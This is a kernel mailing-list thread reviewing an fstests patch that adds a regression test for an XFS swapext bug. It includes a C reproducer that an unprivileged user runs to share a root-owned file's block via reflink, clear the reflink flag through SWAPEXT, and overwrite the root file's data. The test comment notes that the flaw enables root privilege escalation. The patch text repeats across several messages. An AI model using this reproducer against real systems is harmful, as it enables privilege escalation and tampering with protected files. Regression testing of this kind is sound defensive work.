+	 * sx_length equals both inodes' i_disk_size, so the "Verify all data
+	 * are being swapped" test passes.  xfs_swap_extent_rmap() then bounds
+	 * its remap loop with XFS_B_TO_FSB(mp, i_size_read(VFS_I(ip))), which
+	 * is one block, so file1's two mappings above its size are left in
+	 * place -- and the reflink flags are swapped anyway, clearing file1's.
+	 */
+	fsync(f1);
+	fsync(d2);
+	if (fstat(f1, &st))
+		return fprintf(stderr, "fstat file1: %m\n"), 2;
+	memset(&sx, 0, sizeof sx);
+	sx.sx_version		= XFS_SX_VERSION;
+	sx.sx_fdtarget		= f1;
+	sx.sx_fdtmp		= d2;
+	sx.sx_offset		= 0;
+	sx.sx_length		= st.st_size;
+	sx.sx_stat.bs_mtime.tv_sec  = st.st_mtim.tv_sec;
+	sx.sx_stat.bs_mtime.tv_nsec = st.st_mtim.tv_nsec;
+	sx.sx_stat.bs_ctime.tv_sec  = st.st_ctim.tv_sec;
+	sx.sx_stat.bs_ctime.tv_nsec = st.st_ctim.tv_nsec;
+	if (ioctl(f1, XFS_IOC_SWAPEXT, &sx))
+		return fprintf(stderr, "SWAPEXT: %m\n"), 2;
+	show("3 SWAPEXT");
+
+	/* 4. write to the block file1 still shares with peer */
+	buf = malloc(blksz);
+	memset(buf, 'X', blksz);
+	if (pwrite(f1, buf, blksz, blksz) != (ssize_t)blksz)
+		return fprintf(stderr, "pwrite: %m\n"), 2;
+	fsync(f1);
+	show("4 pwrite(file1, 4096)");
+
+	posix_fadvise(peer, 0, 0, POSIX_FADV_DONTNEED);
+	if (pread(peer, after, blksz, 0) != (ssize_t)blksz)
+		return fprintf(stderr, "re-read peer: %m\n"), 2;
+	printf("\npeer first byte %c -> %c   %s\n", before[0], after[0],
+	       memcmp(before, after, blksz) ? "PEER REWRITTEN" : "peer intact");
+	return memcmp(before, after, blksz) ? 0 : 1;
+}
+
+
tests/xfs/1939 new file +69 -0
new file mode 100755
index 00000000000000..b08ea09e977628
@@ -0,0 +1,69 @@
+#! /bin/bash
+# SPDX-License-Identifier: GPL-2.0
+# Copyright (c) 2026 Oracle.  All Rights Reserved.
+#
+# FS QA Test No. 1939
+#
+# Regression test for an swapext bug which unintentionally results in files
+# that share data blocks but don't have the reflink flag set.  This enables
+# attackers to rewrite shared blocks to gain root privileges, similar to
+# refluxfs.
+. ./common/preamble
+_begin_fstest auto quick swapext
+
+. ./common/filter
+. ./common/reflink
+
+_require_test_program "xfs-swapext-reflink"
+_require_user fsgqa
+_require_group fsgqa
+_require_scratch_reflink
+_require_xfs_scratch_rmapbt
+_require_cp_reflink
+
+_fixed_by_fs_commit xfs XXXXXXXXXXXXXX \
+	"xfs: stop exchanging reflink flags when exchanging mappings"
+
+_scratch_mkfs >> $seqres.full
+_scratch_mount
+
+rootdir=$SCRATCH_MNT/root
+userdir1=$SCRATCH_MNT/user1
+blksz=$(_get_file_block_size $SCRATCH_MNT)
+
+# Fill $mnt/peer with "P", run reproducer program
+mkdir -p $rootdir $userdir1
+$XFS_IO_PROG -f -c "pwrite -S 0x50 0 $blksz" $rootdir/peer.copy >> $seqres.full
+$XFS_IO_PROG -f -c "pwrite -S 0x50 0 $blksz" $rootdir/peer1 >> $seqres.full
+sync
+
+chown $qa_user:$qa_group $userdir1
+chmod +r $rootdir/peer1
+
+_su $qa_user -c "$here/src/xfs-swapext-reflink $userdir1 $rootdir/peer1" &> $tmp.out1
+
+echo "Errors from reproducer:" >> $seqres.full
+cat $tmp.out1 >> $seqres.full
+
+# Check for file corruption
+grep -q REWRITTEN $tmp.out1 && \
+	echo "$rootdir/peer1 rewritten, filesystem corrupt!"
+
+cmp -s $rootdir/peer.copy $rootdir/peer1 || \
+	echo "$rootdir/peer1 changed since its snapshot, filesystem corrupt!"
+
+# Check reflink flags
+_scratch_unmount
+_scratch_xfs_db \
+	-c "path /user1/file1" -c 'print' \
+	| grep v3.reflink
+_scratch_mount
+
+# Check for file corruption now that we've blown away all caches
+grep -q REWRITTEN $tmp.out1 && \
+	echo "$rootdir/peer1 rewritten, filesystem corrupt!"
+
+cmp -s $rootdir/peer.copy $rootdir/peer1 || \
+	echo "$rootdir/peer1 changed since its snapshot, filesystem corrupt!"
+
+_exit 0
tests/xfs/1939.out new file +2 -0
new file mode 100644
index 00000000000000..ad52293f986ac6
@@ -0,0 +1,2 @@
+QA output created by 1939
+v3.reflink = 1
#5 lore raw

Re: [PATCH] xfs: add regression test for swapext reflux

Quoted 12 lines · Darrick J. Wong
Quoted 7 lines · Eric Sandeen
Quoted 6 lines · Darrick J. Wong

From: Darrick J. Wong <[email protected]>

This is a regression test for a bug that Norbert Szetei reported in the XFS swapext ioctl. I've ported his reproducer program to fstests so that everyone can run it.

Quoted 7 lines
Quoted 4 lines

A couple things I notice -

1) this still requires EXCHRANGE?
2) if the EXCHRANGE ioctl fails with EOPNOTSUPP the test passes silently

Huh? Oh, the reproducer actually requires it. Ok, I'll add a _require clause here.

Should it test that exchrange is fully available and mkfs scratch with that option if so?

Quoted 368 lines
Quoted 7 lines

3) su $qa_user -c "$here/src/xfs-swapext-reflink $userdir1 $rootdir/peer1" requires $qa_user to be able to traverse to $here/src/xfs-swapext-reflink and if it can't, the test fails oddly

For 3) I think just dropping the $here might fix it?

su $qa_user -c "./src/xfs-swapext-reflink $userdir1 $rootdir/peer1"

Yeah. From commit b7cecbea22ba6d ("fstests: Add path $here before src/<file>"):

[Eryu: some tests run src/<file> as regular user, don't add $here prefix in such case, as a regular user may have no search permission on $here]

<grumble> Will fix.

--D

Quoted 348 lines

-Eric

Quoted 345 lines

---

src/Makefile              |    2
src/xfs-swapext-reflink.c |  230 +++++++++++++++++++++++++++++++++++++++++++++
tests/xfs/1939            |   69 ++++++++++++++
tests/xfs/1939.out        |    2
4 files changed, 302 insertions(+), 1 deletion(-)

create mode 100644 src/xfs-swapext-reflink.c
create mode 100755 tests/xfs/1939
create mode 100644 tests/xfs/1939.out

src/Makefile +1 -1
index 211b16a832ad5d..eaf0621fc4b876 100644
@@ -37,7 +37,7 @@ LINUX_TARGETS = xfsctl bstat t_mtab getdevicesize preallo_rw_pattern_reader \
   detached_mounts_propagation ext4_resize t_readdir_3 splice2pipe \
   uuid_ioctl t_snapshot_deleted_subvolume fiemap-fault min_dio_alignment \
   rw_hint btrfs_ioctl refluxfs xfs-exchange-to-eof \
-    xfs-exchange-to-dirty-eof
+    xfs-exchange-to-dirty-eof xfs-swapext-reflink
 
 EXTRA_EXECS = dmerror fill2attr fill2fs fill2fs_check scaleread.sh \
         btrfs_crc32c_forged_name.py popdir.pl popattr.py \
src/xfs-swapext-reflink.c new file +230 -0
new file mode 100644
index 00000000000000..e2a240d5a0af91
@@ -0,0 +1,230 @@
+// SPDX-License-Identifier: GPL-2.0
+
+// Trick swapext into screwing up the file reflink flags after data exchange
+#include <stdio.h>
+#include <stdlib.h>
+#include <string.h>
+#include <unistd.h>
+#include <fcntl.h>
+#include <sys/ioctl.h>
+#include <sys/stat.h>
+#include <sys/vfs.h>
+#include <linux/fs.h>
+#include <linux/fiemap.h>
+
+#ifndef FICLONERANGE
+#define FICLONERANGE _IOW(0x94, 13, struct file_clone_range)
+#endif
+
+#ifndef XFS_EXCHANGE_RANGE_TO_EOF
+struct xfs_exchange_range {
+    __s32        file1_fd;
+    __u32        pad;
+    __u64        file1_offset;
+    __u64        file2_offset;
+    __u64        length;
+    __u64        flags;
+};
+#define XFS_IOC_EXCHANGE_RANGE        _IOW('X', 129, struct xfs_exchange_range)
+#define XFS_EXCHANGE_RANGE_TO_EOF    (1ULL << 0)
+#endif
+
+#ifndef XFS_IOC_SWAPEXT
+typedef struct xfs_bstime {
+    long        tv_sec;
+    __s32        tv_nsec;
+} xfs_bstime_t;
+
+struct xfs_bstat {
+    __u64        bs_ino;
+    __u16        bs_mode;
+    __u16        bs_nlink;
+    __u32        bs_uid;
+    __u32        bs_gid;
+    __u32        bs_rdev;
+    __s32        bs_blksize;
+    __s64        bs_size;
+    xfs_bstime_t    bs_atime;
+    xfs_bstime_t    bs_mtime;
+    xfs_bstime_t    bs_ctime;
+    __s64        bs_blocks;
+    __u32        bs_xflags;
+    __s32        bs_extsize;
+    __s32        bs_extents;
+    __u32        bs_gen;
+    __u16        bs_projid_lo;
+    __u16        bs_forkoff;
+    __u16        bs_projid_hi;
+    __u16        bs_sick;
+    __u16        bs_checked;
+    unsigned char    bs_pad[2];
+    __u32        bs_cowextsize;
+    __u32        bs_dmevmask;
+    __u16        bs_dmstate;
+    __u16        bs_aextents;
+};
+
+struct xfs_swapext {
+    __s64            sx_version;
+#define XFS_SX_VERSION        0
+    __s64            sx_fdtarget;
+    __s64            sx_fdtmp;
+    __s64            sx_offset;
+    __s64            sx_length;
+    char            sx_pad[16];
+    struct xfs_bstat    sx_stat;
+};
+#define XFS_IOC_SWAPEXT        _IOWR('X', 109, struct xfs_swapext)
+#endif
+
+static unsigned long blksz;
+static int peer, f1;
+
+static unsigned long long phys(int fd, unsigned long long off)
+{
+    struct { struct fiemap f; struct fiemap_extent e[1]; } q;
+
+    memset(&q, 0, sizeof q);
+    q.f.fm_start = off;
+    q.f.fm_length = blksz;
+    q.f.fm_extent_count = 1;
+    if (ioctl(fd, FS_IOC_FIEMAP, &q.f) || q.f.fm_mapped_extents < 1)
+        return 0;
+    return (q.e[0].fe_physical + (off - q.e[0].fe_logical)) / blksz;
+}
+
+static void show(const char *tag)
+{
+    struct stat st;
+    int i;
+
+    fstat(f1, &st);
+    printf("%-26s peer [%llu]   file1 size %5lld  [", tag, phys(peer, 0),
+           (long long)st.st_size);
+    for (i = 0; i < 3; i++)
+        printf("%llu%s", phys(f1, (unsigned long long)i * blksz),
+               i == 2 ? "]\n" : "] [");
+}
+
+static int mkfile(const char *name, char fill, int blocks)
+{
+    char *buf;
+    int fd;
+
+    unlink(name);
+    fd = open(name, O_RDWR | O_CREAT | O_EXCL, 0600);
+    if (fd < 0)
+        return fprintf(stderr, "open %s: %m\n", name), -1;
+    buf = malloc(blocks * blksz);
+    memset(buf, fill, blocks * blksz);
+    if (pwrite(fd, buf, blocks * blksz, 0) != (ssize_t)(blocks * blksz))
+        return fprintf(stderr, "pwrite %s: %m\n", name), -1;
+    free(buf);
+    fsync(fd);
+    return fd;
+}
+
+int main(int argc, char *argv[])
+{
+    struct xfs_exchange_range xr;
+    struct file_clone_range cr;
+    struct xfs_swapext sx;
+    char before[65536], after[65536], *buf;
+    struct statfs sfs;
+    struct stat st;
+    int d1, d2;
+
+    if (argc != 3) {
+        fprintf(stderr, "Usage: $0 dir path_to_peer\n");
+        return 2;
+    }
+
+    if (chdir(argv[1]))
+        return perror(argv[1]), 2;
+
+    if (statfs(".", &sfs))
+        return fprintf(stderr, "statfs: %m\n"), 2;
+    blksz = sfs.f_bsize;
+
+    peer = open(argv[2], O_RDONLY);
+    if (peer < 0)
+        return fprintf(stderr, "open peer: %m\n"), 2;
+    fstat(peer, &st);
+    printf("peer uid %u mode %04o size %lld, block size %lu\n\n",
+           st.st_uid, st.st_mode & 07777, (long long)st.st_size, blksz);
+    if (pread(peer, before, blksz, 0) != (ssize_t)blksz)
+        return fprintf(stderr, "read peer: %m\n"), 2;
+    syncfs(peer);    /* so FIEMAP reports peer's real block */
+
+    f1 = mkfile("file1", 'A', 3);
+    d1 = mkfile("donor1", 'B', 1);
+    d2 = mkfile("donor2", 'C', 1);
+    if (f1 < 0 || d1 < 0 || d2 < 0)
+        return 2;
+    show("start");
+
+    /* 1. share peer's block into the middle of file1 */
+    cr = (struct file_clone_range){ .src_fd = peer, .src_offset = 0,
+                    .src_length = blksz,
+                    .dest_offset = blksz };
+    if (ioctl(f1, FICLONERANGE, &cr))
+        return fprintf(stderr, "FICLONERANGE: %m\n"), 2;
+    show("1 FICLONERANGE");
+
+    /*
+     * 2. exchange file1's last block against the whole of donor1 with
+     * TO_EOF.  The sizes are exchanged too, so file1 claims one block
+     * while still owning three.  file2_offset is block 2, so this exchange
+     * cannot clear a reflink flag.
+     */
+    xr = (struct xfs_exchange_range){ .file1_fd = d1, .file1_offset = 0,
+                      .file2_offset = 2 * blksz,
+                      .length = 0,
+                      .flags = XFS_EXCHANGE_RANGE_TO_EOF };
+    if (ioctl(f1, XFS_IOC_EXCHANGE_RANGE, &xr))
+        return fprintf(stderr, "EXCHANGE_RANGE TO_EOF: %m\n"), 2;
+    show("2 EXCHANGE_RANGE TO_EOF");
+
+    /*
+     * 3. XFS_IOC_SWAPEXT with file1 as the target.  sx_offset is 0 and
+     * sx_length equals both inodes' i_disk_size, so the "Verify all data
+     * are being swapped" test passes.  xfs_swap_extent_rmap() then bounds
+     * its remap loop with XFS_B_TO_FSB(mp, i_size_read(VFS_I(ip))), which
+     * is one block, so file1's two mappings above its size are left in
+     * place -- and the reflink flags are swapped anyway, clearing file1's.
+     */
+    fsync(f1);
+    fsync(d2);
+    if (fstat(f1, &st))
+        return fprintf(stderr, "fstat file1: %m\n"), 2;
+    memset(&sx, 0, sizeof sx);
+    sx.sx_version        = XFS_SX_VERSION;
+    sx.sx_fdtarget        = f1;
+    sx.sx_fdtmp        = d2;
+    sx.sx_offset        = 0;
+    sx.sx_length        = st.st_size;
+    sx.sx_stat.bs_mtime.tv_sec  = st.st_mtim.tv_sec;
+    sx.sx_stat.bs_mtime.tv_nsec = st.st_mtim.tv_nsec;
+    sx.sx_stat.bs_ctime.tv_sec  = st.st_ctim.tv_sec;
+    sx.sx_stat.bs_ctime.tv_nsec = st.st_ctim.tv_nsec;
+    if (ioctl(f1, XFS_IOC_SWAPEXT, &sx))
+        return fprintf(stderr, "SWAPEXT: %m\n"), 2;
+    show("3 SWAPEXT");
+
+    /* 4. write to the block file1 still shares with peer */
+    buf = malloc(blksz);
+    memset(buf, 'X', blksz);
+    if (pwrite(f1, buf, blksz, blksz) != (ssize_t)blksz)
+        return fprintf(stderr, "pwrite: %m\n"), 2;
+    fsync(f1);
+    show("4 pwrite(file1, 4096)");
+
+    posix_fadvise(peer, 0, 0, POSIX_FADV_DONTNEED);
+    if (pread(peer, after, blksz, 0) != (ssize_t)blksz)
+        return fprintf(stderr, "re-read peer: %m\n"), 2;
+    printf("\npeer first byte %c -> %c   %s\n", before[0], after[0],
+           memcmp(before, after, blksz) ? "PEER REWRITTEN" : "peer intact");
+    return memcmp(before, after, blksz) ? 0 : 1;
+}
+
+
tests/xfs/1939 new file +69 -0
new file mode 100755
index 00000000000000..b08ea09e977628
@@ -0,0 +1,69 @@
+#! /bin/bash
+# SPDX-License-Identifier: GPL-2.0
+# Copyright (c) 2026 Oracle.  All Rights Reserved.
+#
+# FS QA Test No. 1939
+#
+# Regression test for an swapext bug which unintentionally results in files
+# that share data blocks but don't have the reflink flag set.  This enables
+# attackers to rewrite shared blocks to gain root privileges, similar to
+# refluxfs.
+. ./common/preamble
+_begin_fstest auto quick swapext
+
+. ./common/filter
+. ./common/reflink
+
+_require_test_program "xfs-swapext-reflink"
+_require_user fsgqa
+_require_group fsgqa
+_require_scratch_reflink
+_require_xfs_scratch_rmapbt
+_require_cp_reflink
+
+_fixed_by_fs_commit xfs XXXXXXXXXXXXXX \
+    "xfs: stop exchanging reflink flags when exchanging mappings"
+
+_scratch_mkfs >> $seqres.full
+_scratch_mount
+
+rootdir=$SCRATCH_MNT/root
+userdir1=$SCRATCH_MNT/user1
+blksz=$(_get_file_block_size $SCRATCH_MNT)
+
+# Fill $mnt/peer with "P", run reproducer program
+mkdir -p $rootdir $userdir1
+$XFS_IO_PROG -f -c "pwrite -S 0x50 0 $blksz" $rootdir/peer.copy >> $seqres.full
+$XFS_IO_PROG -f -c "pwrite -S 0x50 0 $blksz" $rootdir/peer1 >> $seqres.full
+sync
+
+chown $qa_user:$qa_group $userdir1
+chmod +r $rootdir/peer1
+
+_su $qa_user -c "$here/src/xfs-swapext-reflink $userdir1 $rootdir/peer1" &> $tmp.out1
+
+echo "Errors from reproducer:" >> $seqres.full
+cat $tmp.out1 >> $seqres.full
+
+# Check for file corruption
+grep -q REWRITTEN $tmp.out1 && \
+    echo "$rootdir/peer1 rewritten, filesystem corrupt!"
+
+cmp -s $rootdir/peer.copy $rootdir/peer1 || \
+    echo "$rootdir/peer1 changed since its snapshot, filesystem corrupt!"
+
+# Check reflink flags
+_scratch_unmount
+_scratch_xfs_db \
+    -c "path /user1/file1" -c 'print' \
+    | grep v3.reflink
+_scratch_mount
+
+# Check for file corruption now that we've blown away all caches
+grep -q REWRITTEN $tmp.out1 && \
+    echo "$rootdir/peer1 rewritten, filesystem corrupt!"
+
+cmp -s $rootdir/peer.copy $rootdir/peer1 || \
+    echo "$rootdir/peer1 changed since its snapshot, filesystem corrupt!"
+
+_exit 0
tests/xfs/1939.out new file +2 -0
new file mode 100644
index 00000000000000..ad52293f986ac6
@@ -0,0 +1,2 @@
+QA output created by 1939
+v3.reflink = 1
#6 lore raw

Re: [PATCH] xfs: add regression test for swapext reflux

Quoted 14 lines · Eric Sandeen
Quoted 14 lines · Darrick J. Wong
Quoted 9 lines · Eric Sandeen
Quoted 6 lines · Darrick J. Wong

From: Darrick J. Wong <[email protected]>

This is a regression test for a bug that Norbert Szetei reported in the XFS swapext ioctl. I've ported his reproducer program to fstests so that everyone can run it.

A couple things I notice -

Quoted 7 lines
Quoted 5 lines
Quoted 2 lines

1) this still requires EXCHRANGE?
2) if the EXCHRANGE ioctl fails with EOPNOTSUPP the test passes silently

Huh? Oh, the reproducer actually requires it. Ok, I'll add a _require clause here.

Should it test that exchrange is fully available and mkfs scratch with that option if so?

Yes, that's what _require_xfs_io_command exchrange does.

And, uh, you could turn on exchrange in your test config like I do, especially seeing as it's been enabled by default for a year.

--D

Quoted 370 lines
Quoted 368 lines
Quoted 7 lines

3) su $qa_user -c "$here/src/xfs-swapext-reflink $userdir1 $rootdir/peer1" requires $qa_user to be able to traverse to $here/src/xfs-swapext-reflink and if it can't, the test fails oddly

For 3) I think just dropping the $here might fix it?

su $qa_user -c "./src/xfs-swapext-reflink $userdir1 $rootdir/peer1"

Yeah. From commit b7cecbea22ba6d ("fstests: Add path $here before src/<file>"):

[Eryu: some tests run src/<file> as regular user, don't add $here prefix in such case, as a regular user may have no search permission on $here]

<grumble> Will fix.

--D

Quoted 348 lines

-Eric

Quoted 345 lines

---

src/Makefile              |    2
src/xfs-swapext-reflink.c |  230 +++++++++++++++++++++++++++++++++++++++++++++
tests/xfs/1939            |   69 ++++++++++++++
tests/xfs/1939.out        |    2
4 files changed, 302 insertions(+), 1 deletion(-)

create mode 100644 src/xfs-swapext-reflink.c
create mode 100755 tests/xfs/1939
create mode 100644 tests/xfs/1939.out

src/Makefile +1 -1
index 211b16a832ad5d..eaf0621fc4b876 100644
@@ -37,7 +37,7 @@ LINUX_TARGETS = xfsctl bstat t_mtab getdevicesize preallo_rw_pattern_reader \
   detached_mounts_propagation ext4_resize t_readdir_3 splice2pipe \
   uuid_ioctl t_snapshot_deleted_subvolume fiemap-fault min_dio_alignment \
   rw_hint btrfs_ioctl refluxfs xfs-exchange-to-eof \
-    xfs-exchange-to-dirty-eof
+    xfs-exchange-to-dirty-eof xfs-swapext-reflink
 
 EXTRA_EXECS = dmerror fill2attr fill2fs fill2fs_check scaleread.sh \
         btrfs_crc32c_forged_name.py popdir.pl popattr.py \
src/xfs-swapext-reflink.c new file +230 -0
new file mode 100644
index 00000000000000..e2a240d5a0af91
@@ -0,0 +1,230 @@
+// SPDX-License-Identifier: GPL-2.0
+
+// Trick swapext into screwing up the file reflink flags after data exchange
+#include <stdio.h>
+#include <stdlib.h>
+#include <string.h>
+#include <unistd.h>
+#include <fcntl.h>
+#include <sys/ioctl.h>
+#include <sys/stat.h>
+#include <sys/vfs.h>
+#include <linux/fs.h>
+#include <linux/fiemap.h>
+
+#ifndef FICLONERANGE
+#define FICLONERANGE _IOW(0x94, 13, struct file_clone_range)
+#endif
+
+#ifndef XFS_EXCHANGE_RANGE_TO_EOF
+struct xfs_exchange_range {
+    __s32        file1_fd;
+    __u32        pad;
+    __u64        file1_offset;
+    __u64        file2_offset;
+    __u64        length;
+    __u64        flags;
+};
+#define XFS_IOC_EXCHANGE_RANGE        _IOW('X', 129, struct xfs_exchange_range)
+#define XFS_EXCHANGE_RANGE_TO_EOF    (1ULL << 0)
+#endif
+
+#ifndef XFS_IOC_SWAPEXT
+typedef struct xfs_bstime {
+    long        tv_sec;
+    __s32        tv_nsec;
+} xfs_bstime_t;
+
+struct xfs_bstat {
+    __u64        bs_ino;
+    __u16        bs_mode;
+    __u16        bs_nlink;
+    __u32        bs_uid;
+    __u32        bs_gid;
+    __u32        bs_rdev;
+    __s32        bs_blksize;
+    __s64        bs_size;
+    xfs_bstime_t    bs_atime;
+    xfs_bstime_t    bs_mtime;
+    xfs_bstime_t    bs_ctime;
+    __s64        bs_blocks;
+    __u32        bs_xflags;
+    __s32        bs_extsize;
+    __s32        bs_extents;
+    __u32        bs_gen;
+    __u16        bs_projid_lo;
+    __u16        bs_forkoff;
+    __u16        bs_projid_hi;
+    __u16        bs_sick;
+    __u16        bs_checked;
+    unsigned char    bs_pad[2];
+    __u32        bs_cowextsize;
+    __u32        bs_dmevmask;
+    __u16        bs_dmstate;
+    __u16        bs_aextents;
+};
+
+struct xfs_swapext {
+    __s64            sx_version;
+#define XFS_SX_VERSION        0
+    __s64            sx_fdtarget;
+    __s64            sx_fdtmp;
+    __s64            sx_offset;
+    __s64            sx_length;
+    char            sx_pad[16];
+    struct xfs_bstat    sx_stat;
+};
+#define XFS_IOC_SWAPEXT        _IOWR('X', 109, struct xfs_swapext)
+#endif
+
+static unsigned long blksz;
+static int peer, f1;
+
+static unsigned long long phys(int fd, unsigned long long off)
+{
+    struct { struct fiemap f; struct fiemap_extent e[1]; } q;
+
+    memset(&q, 0, sizeof q);
+    q.f.fm_start = off;
+    q.f.fm_length = blksz;
+    q.f.fm_extent_count = 1;
+    if (ioctl(fd, FS_IOC_FIEMAP, &q.f) || q.f.fm_mapped_extents < 1)
+        return 0;
+    return (q.e[0].fe_physical + (off - q.e[0].fe_logical)) / blksz;
+}
+
+static void show(const char *tag)
+{
+    struct stat st;
+    int i;
+
+    fstat(f1, &st);
+    printf("%-26s peer [%llu]   file1 size %5lld  [", tag, phys(peer, 0),
+           (long long)st.st_size);
+    for (i = 0; i < 3; i++)
+        printf("%llu%s", phys(f1, (unsigned long long)i * blksz),
+               i == 2 ? "]\n" : "] [");
+}
+
+static int mkfile(const char *name, char fill, int blocks)
+{
+    char *buf;
+    int fd;
+
+    unlink(name);
+    fd = open(name, O_RDWR | O_CREAT | O_EXCL, 0600);
+    if (fd < 0)
+        return fprintf(stderr, "open %s: %m\n", name), -1;
+    buf = malloc(blocks * blksz);
+    memset(buf, fill, blocks * blksz);
+    if (pwrite(fd, buf, blocks * blksz, 0) != (ssize_t)(blocks * blksz))
+        return fprintf(stderr, "pwrite %s: %m\n", name), -1;
+    free(buf);
+    fsync(fd);
+    return fd;
+}
+
+int main(int argc, char *argv[])
+{
+    struct xfs_exchange_range xr;
+    struct file_clone_range cr;
+    struct xfs_swapext sx;
+    char before[65536], after[65536], *buf;
+    struct statfs sfs;
+    struct stat st;
+    int d1, d2;
+
+    if (argc != 3) {
+        fprintf(stderr, "Usage: $0 dir path_to_peer\n");
+        return 2;
+    }
+
+    if (chdir(argv[1]))
+        return perror(argv[1]), 2;
+
+    if (statfs(".", &sfs))
+        return fprintf(stderr, "statfs: %m\n"), 2;
+    blksz = sfs.f_bsize;
+
+    peer = open(argv[2], O_RDONLY);
+    if (peer < 0)
+        return fprintf(stderr, "open peer: %m\n"), 2;
+    fstat(peer, &st);
+    printf("peer uid %u mode %04o size %lld, block size %lu\n\n",
+           st.st_uid, st.st_mode & 07777, (long long)st.st_size, blksz);
+    if (pread(peer, before, blksz, 0) != (ssize_t)blksz)
+        return fprintf(stderr, "read peer: %m\n"), 2;
+    syncfs(peer);    /* so FIEMAP reports peer's real block */
+
+    f1 = mkfile("file1", 'A', 3);
+    d1 = mkfile("donor1", 'B', 1);
+    d2 = mkfile("donor2", 'C', 1);
+    if (f1 < 0 || d1 < 0 || d2 < 0)
+        return 2;
+    show("start");
+
+    /* 1. share peer's block into the middle of file1 */
+    cr = (struct file_clone_range){ .src_fd = peer, .src_offset = 0,
+                    .src_length = blksz,
+                    .dest_offset = blksz };
+    if (ioctl(f1, FICLONERANGE, &cr))
+        return fprintf(stderr, "FICLONERANGE: %m\n"), 2;
+    show("1 FICLONERANGE");
+
+    /*
+     * 2. exchange file1's last block against the whole of donor1 with
+     * TO_EOF.  The sizes are exchanged too, so file1 claims one block
+     * while still owning three.  file2_offset is block 2, so this exchange
+     * cannot clear a reflink flag.
+     */
+    xr = (struct xfs_exchange_range){ .file1_fd = d1, .file1_offset = 0,
+                      .file2_offset = 2 * blksz,
+                      .length = 0,
+                      .flags = XFS_EXCHANGE_RANGE_TO_EOF };
+    if (ioctl(f1, XFS_IOC_EXCHANGE_RANGE, &xr))
+        return fprintf(stderr, "EXCHANGE_RANGE TO_EOF: %m\n"), 2;
+    show("2 EXCHANGE_RANGE TO_EOF");
+
+    /*
+     * 3. XFS_IOC_SWAPEXT with file1 as the target.  sx_offset is 0 and
+     * sx_length equals both inodes' i_disk_size, so the "Verify all data
+     * are being swapped" test passes.  xfs_swap_extent_rmap() then bounds
+     * its remap loop with XFS_B_TO_FSB(mp, i_size_read(VFS_I(ip))), which
+     * is one block, so file1's two mappings above its size are left in
+     * place -- and the reflink flags are swapped anyway, clearing file1's.
+     */
+    fsync(f1);
+    fsync(d2);
+    if (fstat(f1, &st))
+        return fprintf(stderr, "fstat file1: %m\n"), 2;
+    memset(&sx, 0, sizeof sx);
+    sx.sx_version        = XFS_SX_VERSION;
+    sx.sx_fdtarget        = f1;
+    sx.sx_fdtmp        = d2;
+    sx.sx_offset        = 0;
+    sx.sx_length        = st.st_size;
+    sx.sx_stat.bs_mtime.tv_sec  = st.st_mtim.tv_sec;
+    sx.sx_stat.bs_mtime.tv_nsec = st.st_mtim.tv_nsec;
+    sx.sx_stat.bs_ctime.tv_sec  = st.st_ctim.tv_sec;
+    sx.sx_stat.bs_ctime.tv_nsec = st.st_ctim.tv_nsec;
+    if (ioctl(f1, XFS_IOC_SWAPEXT, &sx))
+        return fprintf(stderr, "SWAPEXT: %m\n"), 2;
+    show("3 SWAPEXT");
+
+    /* 4. write to the block file1 still shares with peer */
+    buf = malloc(blksz);
+    memset(buf, 'X', blksz);
+    if (pwrite(f1, buf, blksz, blksz) != (ssize_t)blksz)
+        return fprintf(stderr, "pwrite: %m\n"), 2;
+    fsync(f1);
+    show("4 pwrite(file1, 4096)");
+
+    posix_fadvise(peer, 0, 0, POSIX_FADV_DONTNEED);
+    if (pread(peer, after, blksz, 0) != (ssize_t)blksz)
+        return fprintf(stderr, "re-read peer: %m\n"), 2;
+    printf("\npeer first byte %c -> %c   %s\n", before[0], after[0],
+           memcmp(before, after, blksz) ? "PEER REWRITTEN" : "peer intact");
+    return memcmp(before, after, blksz) ? 0 : 1;
+}
+
+
tests/xfs/1939 new file +69 -0
new file mode 100755
index 00000000000000..b08ea09e977628
@@ -0,0 +1,69 @@
+#! /bin/bash
+# SPDX-License-Identifier: GPL-2.0
+# Copyright (c) 2026 Oracle.  All Rights Reserved.
+#
+# FS QA Test No. 1939
+#
+# Regression test for an swapext bug which unintentionally results in files
+# that share data blocks but don't have the reflink flag set.  This enables
+# attackers to rewrite shared blocks to gain root privileges, similar to
+# refluxfs.
+. ./common/preamble
+_begin_fstest auto quick swapext
+
+. ./common/filter
+. ./common/reflink
+
+_require_test_program "xfs-swapext-reflink"
+_require_user fsgqa
+_require_group fsgqa
+_require_scratch_reflink
+_require_xfs_scratch_rmapbt
+_require_cp_reflink
+
+_fixed_by_fs_commit xfs XXXXXXXXXXXXXX \
+    "xfs: stop exchanging reflink flags when exchanging mappings"
+
+_scratch_mkfs >> $seqres.full
+_scratch_mount
+
+rootdir=$SCRATCH_MNT/root
+userdir1=$SCRATCH_MNT/user1
+blksz=$(_get_file_block_size $SCRATCH_MNT)
+
+# Fill $mnt/peer with "P", run reproducer program
+mkdir -p $rootdir $userdir1
+$XFS_IO_PROG -f -c "pwrite -S 0x50 0 $blksz" $rootdir/peer.copy >> $seqres.full
+$XFS_IO_PROG -f -c "pwrite -S 0x50 0 $blksz" $rootdir/peer1 >> $seqres.full
+sync
+
+chown $qa_user:$qa_group $userdir1
+chmod +r $rootdir/peer1
+
+_su $qa_user -c "$here/src/xfs-swapext-reflink $userdir1 $rootdir/peer1" &> $tmp.out1
+
+echo "Errors from reproducer:" >> $seqres.full
+cat $tmp.out1 >> $seqres.full
+
+# Check for file corruption
+grep -q REWRITTEN $tmp.out1 && \
+    echo "$rootdir/peer1 rewritten, filesystem corrupt!"
+
+cmp -s $rootdir/peer.copy $rootdir/peer1 || \
+    echo "$rootdir/peer1 changed since its snapshot, filesystem corrupt!"
+
+# Check reflink flags
+_scratch_unmount
+_scratch_xfs_db \
+    -c "path /user1/file1" -c 'print' \
+    | grep v3.reflink
+_scratch_mount
+
+# Check for file corruption now that we've blown away all caches
+grep -q REWRITTEN $tmp.out1 && \
+    echo "$rootdir/peer1 rewritten, filesystem corrupt!"
+
+cmp -s $rootdir/peer.copy $rootdir/peer1 || \
+    echo "$rootdir/peer1 changed since its snapshot, filesystem corrupt!"
+
+_exit 0
tests/xfs/1939.out new file +2 -0
new file mode 100644
index 00000000000000..ad52293f986ac6
@@ -0,0 +1,2 @@
+QA output created by 1939
+v3.reflink = 1
#7 lore raw

Re: [PATCH] xfs: add regression test for swapext reflux

Quoted 21 lines · Darrick J. Wong
Quoted 20 lines · Eric Sandeen
Quoted 19 lines · Darrick J. Wong
Quoted 11 lines · Eric Sandeen
